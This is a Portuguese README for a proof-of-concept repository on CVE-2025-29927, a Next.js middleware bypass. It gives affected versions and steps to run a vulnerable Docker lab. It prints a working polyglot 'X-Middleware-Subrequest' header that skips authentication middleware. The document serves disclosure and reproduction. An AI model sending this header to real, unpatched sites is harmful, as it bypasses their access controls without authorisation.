CVE-2025-29927: PoC da Vulnerabilidade de Bypass do Middleware do Next.js

Este repositório demonstra a vulnerabilidade CVE-2025-29927 no Next.js, onde o cabeçalho interno x-middleware-subrequest pode ser usado para contornar verificações de middleware, como autenticação.

Versões Afetadas

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9

Passos para Reproduzir

1. Clone o Repositório:

git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. Navegue até a Pasta do Projeto:

cd CVE-2025-29927-PoC

3. Gere um Segredo:

openssl rand -base64 32

4. Atualize o Segredo no Arquivo .env:

NEXTAUTH_SECRET=your_generated_secret

5. Construa e Execute com Docker:

docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

Prova de Conceito

Podemos simplificar bastante a exploração desse problema usando um poliglota que nos permite cobrir efetivamente os vários casos potenciais. Conseguimos isso com o seguinte cabeçalho HTTP, usado para verificar a presença de um bypass de autenticação:

X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Créditos/Fontes

• Blog do Next.js sobre CVE-2025-29927
• Pesquisa de Segurança Web da Zhero: Next.js e o Middleware Corrompido
• Pesquisa de Segurança da Assetnote: Analisando o Bypass do Middleware do Next.js